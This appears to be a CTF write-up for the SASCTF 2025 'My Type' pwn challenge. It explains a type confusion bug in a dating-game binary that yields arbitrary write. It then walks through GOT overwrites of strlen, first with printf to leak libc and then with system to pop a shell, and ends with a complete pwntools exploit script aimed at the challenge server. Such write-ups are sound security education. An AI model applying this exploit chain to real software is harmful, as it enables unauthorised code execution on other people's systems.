- Published on
SASCTF 2025 Quals – My Type
- Authors
- Name
- HyggeHalcyon
- Description
- medieval isekai enthusiast
My Type (115 points, 38 solves)
A girl just joined our public channel. She’s quite into the crypto as I can see, very nice. Wonder if we are compatible with each other or not...
Challenge Analysis
A zip attachment was given, 2 files reside within it which are chall.elf
and a Dockerfile
. Let’s start with the low hanging fruit by checking its file type and protections.
From the snippet below you can see that the binary itself is nothing out of the ordinary for the perspective of pwn players. A normal regular pwnable binary being non-statically compiled to an ELF 64 bit.
└──╼ [★]$ file chall.elf
chall.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1824dd7b64c30e0909653c949a75da104d097a33, for GNU/Linux 3.2.0, not stripped
The protections however are very minimal, which makes exploitation easier.
└──╼ [★]$ pwn checksec chall.elf
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
High Level Overview
Next step is to run the binary and interact with it to get a quick grasp of its behaviour. The binary seems to be some sort of dating game with few options and a starting score of 50 / 100
. Here’s what you were presented by running it for the first time
└──╼ [★]$ ./chall.elf
Mila joined the chat
~ Hey cutie~! I'm here just for you <3
+-------[ 50 / 100 ]-------+
| [n] Create a NFT. |
| [c] Create a compliment. |
+--------------------------+
Enter your choice (n/c):
Choosing the NFT route will prompt the binary to input the cost of the NFT while choosing compliment will let us give an input of max 0x100 characters.
Enter your choice (n/c): n
Enter the cost of the NFT:
[...SNIP....]
Enter your choice (n/c): c
Enter the compliment text (max 256 chars):
Regardless of our option, the binary will then display the following options
+-------[ 50 / 100 ]-------+
| [n] Edit the NFT. |
| [c] Edit the compliment. |
| [p] Play it. |
+--------------------------+
Enter your choice (n/c/p):
The first and the second option are self-explanatory. The third option however will finish the session and then start over with the options presented when we first ran the binary, however the scores are now changed.
Enter your choice (n/c/p): p
~ Your compliment is too short. Try harder! (-5)
~ I'm getting used to you. (+7)
+-------[ 52 / 100 ]-------+
| [n] Create a NFT. |
| [c] Create a compliment. |
+--------------------------+
Enter your choice (n/c):
Understanding Type Confusion
Now Let’s take the binary into a decompiler and inspect more details.
Note: the following decompilations may have some parts of it modified or removed in order to focus more on the relevant parts.
First, here’s the main
function, which seems to display nothing new from what we already learnt.
undefined8 main(void)
{
undefined8 extraout_RDX;
undefined8 extraout_RDX_00;
undefined4 local_48 [2];
undefined8 local_40;
int local_38 [11];
char local_a;
char local_9;
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
init_partner(local_38);
while( true ) {
if ((local_38[0] < 1) || (99 < local_38[0])) {
if (local_38[0] < 100) {
lose();
}
else {
win();
}
return 0;
}
menu_create_sign(local_38);
local_9 = get_user_choice();
if (local_9 == 'n') {
local_48[0] = create_nft();
local_40 = extraout_RDX;
}
else {
if (local_9 != 'c') {
/* WARNING: Subroutine does not return */
exit(1);
}
local_48[0] = create_compliment();
local_40 = extraout_RDX_00;
}
while( true ) {
while( true ) {
menu_play_sign(local_38);
local_a = get_user_choice();
if (local_a != 'n') break;
edit_nft(local_48);
}
if (local_a != 'c') break;
edit_compliment(local_48);
}
if (local_a != 'p') break;
play_sign(local_48,local_38);
}
/* WARNING: Subroutine does not return */
exit(1);
}
Although a win
function exists, this is not your usual pwnable win
function as it does not provide the player with the flag nor give the player access to call system
. Below are the create_*
functions
undefined [16] create_nft(void)
{
uint uStack_14;
undefined local_10 [8];
printf("Enter the cost of the NFT: ");
__isoc99_scanf(" %d",local_10);
getchar();
return ZEXT416(uStack_14) << 0x20;
}
undefined [16] create_compliment(void)
{
char *__s;
undefined auVar1 [16];
undefined4 uStack_14;
__s = (char *)calloc(0x100,1);
printf("Enter the compliment text (max 256 chars): ");
fgets(__s,0x100,stdin);
auVar1._4_4_ = uStack_14;
auVar1._0_4_ = 1;
auVar1._8_8_ = 0;
return auVar1;
}
A red flag coming from this is due to how the binary stores the return value. While create_nft
reads and returns a literal int
, create_compliment
reads a string and returns the pointer to it. Despite the difference in data types, the main
function shows that both functions store their return value in the same place at local_40
as can be seen below.
undefined8 main(void)
{
// ...SNIPPET
undefined4 local_48 [2];
undefined8 local_40;
// ...SNIPPET);
while( true ) {
// ...SNIPPET
local_9 = get_user_choice();
if (local_9 == 'n') {
local_48[0] = create_nft(); // <-- storing in the same variable
local_40 = extraout_RDX; // <-- storing in the same variable
}
else {
// ...SNIPPET
local_48[0] = create_compliment(); // <-- storing in the same variable
local_40 = extraout_RDX_00; // <-- storing in the same variable
}
// ...SNIPPET
}
}
This wouldn’t pose a problem if the binary consistently respected the data type of local_40
—for example, only allowing edit_nft
after choosing create_nft
, and disabling access to create_compliment
, and vice versa.
However, failure to enforce this leads to a Type Confusion vulnerability (CWE-843), which appears to be the case here. As shown in the snippet below, the binary permits the player to invoke either edit_nft
or edit_compliment
regardless of the initial choice, while still operating on the same variable.
undefined8 main(void)
{
// ...SNIPPET
undefined4 local_48 [2];
undefined8 local_40;
// ...SNIPPET);
// ...SNIPPET
while( true ) {
while( true ) {
local_a = get_user_choice();
if (local_a != 'n') break;
edit_nft(local_48); // <-- same variable, different treatment and behaviour
}
if (local_a != 'c') break;
edit_compliment(local_48); // <-- same variable, different treatment and behaviour
}
}
In edit_*
we can clearly see the different behaviour. While edit_nft
stores an literal integer
to local_40
, edit_compliment
casts local_40
to a pointer.
void edit_nft(long param_1)
{
printf("Reenter the cost of the NFT: ");
__isoc99_scanf(" %d",param_1 + 8);
getchar();
return;
}
void edit_compliment(long param_1)
{
printf("Reenter the compliment text (max 256 chars): ");
fgets(*(char **)(param_1 + 8),0xff,stdin);
return;
}
To better understand this vulnerability, let’s examine two scenarios: a normal case and a malicious case.
In the normal case, the player only interacts with the functionality they chose—for example, selecting the create_compliment
route and then editing that compliment without interference.
The following snippet places a breakpoint in edit_compliment+55
at 0x401455
to observe such case.
Enter your choice (n/c/p): c
Reenter the compliment text (max 256 chars):
Breakpoint 4, 0x0000000000401455 in edit_compliment ()
*RAX 0x4052a0 ◂— 'PLAYER COMPLIMENT\n'
*RAX 0x4052a0 ◂— 'PLAYER COMPLIMENT\n'
*RBX 0x7fffffffdce8 —▸ 0x7fffffffe071 ◂— '/REDACTED/chall.elf'
RCX 0x0
*RDX 0x7ffff7f97a80 (_IO_2_1_stdin_) ◂— 0xfbad208b
*RDI 0x4052a0 ◂— 'PLAYER COMPLIMENT\n'
*RSI 0xff
R8 0x0
*R9 0x7ffff7f97a80 (_IO_2_1_stdin_) ◂— 0xfbad208b
*R10 0x7fffffffdb80 —▸ 0x7fffffffdbd0 ◂— 0x1
*R11 0x202
R12 0x0
*R13 0x7fffffffdcf8 —▸ 0x7fffffffe09d ◂— 'SHELL=/bin/bash'
*R14 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011a0 (__do_global_dtors_aux) ◂— endbr64
*R15 0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP 0x7fffffffdb80 —▸ 0x7fffffffdbd0 ◂— 0x1
*RSP 0x7fffffffdb70 ◂— 0x1
*RIP 0x401455 (edit_compliment+55) ◂— call 0x401080
► 0x401455 <edit_compliment+55> call fgets@plt <fgets@plt>
s: 0x4052a0 ◂— 'PLAYER COMPLIMENT\n'
As expected, under normal usage, the binary behaves as intended—editing the previously created compliment works without issue.
However, in a malicious scenario, things take a different turn. If the player first uses the create_compliment
option and then chooses to edit an NFT, they can set the cost to an arbitrary value, such as 0xdeadbeef
. This value ends up being treated as a pointer. When the player later proceeds to edit the compliment, the binary uses that bogus cost as a destination address for writing—leading to an arbitrary write.
Enter your choice (n/c/p): c
Reenter the compliment text (max 256 chars):
Breakpoint 4, 0x0000000000401455 in edit_compliment ()
*RAX 0xdeadbeef
*RBX 0x7fffffffdce8 —▸ 0x7fffffffe071 ◂— '/REDACTED/chall.elf'
*RCX 0x0
*RDX 0x7ffff7f97a80 (_IO_2_1_stdin_) ◂— 0xfbad208b
*RDI 0xdeadbeef
*RSI 0xff
*R8 0x0
*R9 0x7ffff7f97a80 (_IO_2_1_stdin_) ◂— 0xfbad208b
*R10 0x7fffffffdb80 —▸ 0x7fffffffdbd0 ◂— 0x1
*R11 0x202
*R12 0x0
*R13 0x7fffffffdcf8 —▸ 0x7fffffffe09d ◂— 'SHELL=/bin/bash'
*R14 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011a0 (__do_global_dtors_aux) ◂— endbr64
*R15 0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP 0x7fffffffdb80 —▸ 0x7fffffffdbd0 ◂— 0x1
*RSP 0x7fffffffdb70 ◂— 0x1
*RIP 0x401455 (edit_compliment+55) ◂— call 0x401080
► 0x401455 <edit_compliment+55> call fgets@plt <fgets@plt>
s: 0xdeadbeef
n: 0xff
stream: 0x7ffff7f97a80 (_IO_2_1_stdin_) ◂— 0xfbad208b
We notice that the first argument to fgets
is now interpreted as the cost of our NFT. Since this "cost" is used as a pointer—and the address doesn’t actually exist—the binary crashes. Because the target address for this write is fully controllable by the player, this effectively grants arbitrary write capabilities throughout the program.
This vulnerability arises because both edit_compliment
and edit_nft
operate on the same memory region. While edit_compliment
treats local_40
as a pointer, edit_nft
treats it as a literal int. This mismatch allows the player to modify the pointer stored in local_40
via edit_nft
, and then use edit_compliment
to write arbitrary data to an arbitrary address.
With arbitrary write at our disposal and no protections like RELRO
in place, the natural next step is to overwrite a GOT entry with the address of system()
. However, at this point, we still don’t have a leak of any libc address, which we need in order to proceed.
Leaking Libc
Recall that although we have no leak to libc addresses, existing libc functions within the binary can still be called through the PLT section. This means if we can replace one of the GOT entries to point to the PLT of printf, it will essentially replace the call to said function to printf.
So which function is ideal to be replaced?
Upon choosing the play
option, the binary will call play_sign
which in turn calls check_compliment_length
and then strlen
with our compliment pointer as its first argument. If we’re able to replace strlen
entry in the GOT with printf
we can cause an additional format string vulnerability and potentially leak values off the stack.
In our pwn script we will do the following:
io.sendlineafter(b':', b'c')
io.sendlineafter(b':', b'')
io.sendlineafter(b':', b'n')
io.sendlineafter(b':', str(elf.got['strlen']).encode())
io.sendlineafter(b':', b'c')
io.sendlineafter(b':', p64(elf.plt['printf']))
io.sendlineafter(b':', b'p')
We can confirm that the entry to strlen
in GOT has been changed in pwndbg as follows
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /REDACTED/chall.elf:
GOT protection: Partial RELRO | Found 12 GOT entries passing the filter
[0x404000] puts@GLIBC_2.2.5 -> 0x7fd989d60980 (puts) ◂— push r14
[0x404008] strlen@GLIBC_2.2.5 -> 0x401060 (printf@plt) ◂— jmp qword ptr [rip + 0x2fb2]
[0x404010] setbuf@GLIBC_2.2.5 -> 0x7fd989d6000a (_IO_getline_info+298) ◂— and al, 8
# ...SNIPPET...
This way when strlen
is called, the binary will call printf
instead.
+-------[ 50 / 100 ]-------+
| [n] Edit the NFT. |
| [c] Edit the compliment. |
| [p] Play it. |
+--------------------------+
Enter your choice (n/c/p): c
Reenter the compliment text (max 256 chars): %p|%p|%p|
+-------[ 50 / 100 ]-------+
| [n] Edit the NFT. |
| [c] Edit the compliment. |
| [p] Play it. |
+--------------------------+
Enter your choice (n/c/p): p
0x7f639bc12643|0x2|0x7f639bb26274|0x70|
~ I'm getting used to you. (+7)
Fortunately, the first leak of the consequent %p
s are libc addresses and can be used to calculate the base of the libc address for further exploitation.
Gaining Shell
With libc leaked, gaining shell is pretty straightforward. We would modify strlen
GOT to the address of system
and create a compliment with /bin/sh
and a shell would pop once strlen
is called.
We managed to run the exploit and get a shell on the remote server for flag: SAS{y0u_GOT_y0ur_typ3_f0r_r341}
.
#!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './chall.elf'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'tcp.sasc.tf', 10443
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
# create nft
# break *0x401a7a
# edit compliment
break *0x401aef
# fgets
break *0x401455
# strlen
break *0x004014fe
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
# └──╼ [★]$ pwn checksec chall.elf
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def exploit():
global io
io = initialize()
io.sendlineafter(b':', b'c')
io.sendlineafter(b':', b'')
io.sendlineafter(b':', b'n')
io.sendlineafter(b':', str(elf.got['strlen']).encode())
io.sendlineafter(b':', b'c')
io.sendlineafter(b':', p64(elf.plt['printf']))
io.sendlineafter(b':', b'p')
io.sendlineafter(b':', b'c')
io.sendlineafter(b':', b'%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p\x00')
io.sendlineafter(b':', b'p')
libc.address = int(io.recvuntil(b'|', drop=True).strip(), 16) - 0x212643
io.sendlineafter(b':', b'c')
io.sendlineafter(b':', b'')
io.sendlineafter(b':', b'n')
io.sendlineafter(b':', str(elf.got['strlen']).encode())
io.sendlineafter(b':', b'c')
io.sendlineafter(b':', p64(libc.sym['system']))
io.sendlineafter(b':', b'p')
io.sendlineafter(b':', b'c')
io.sendlineafter(b':', b'/bin/sh\x00')
io.sendlineafter(b':', b'p')
log.info('libc base: %#x', libc.address)
io.interactive()
if __name__ == '__main__':
exploit()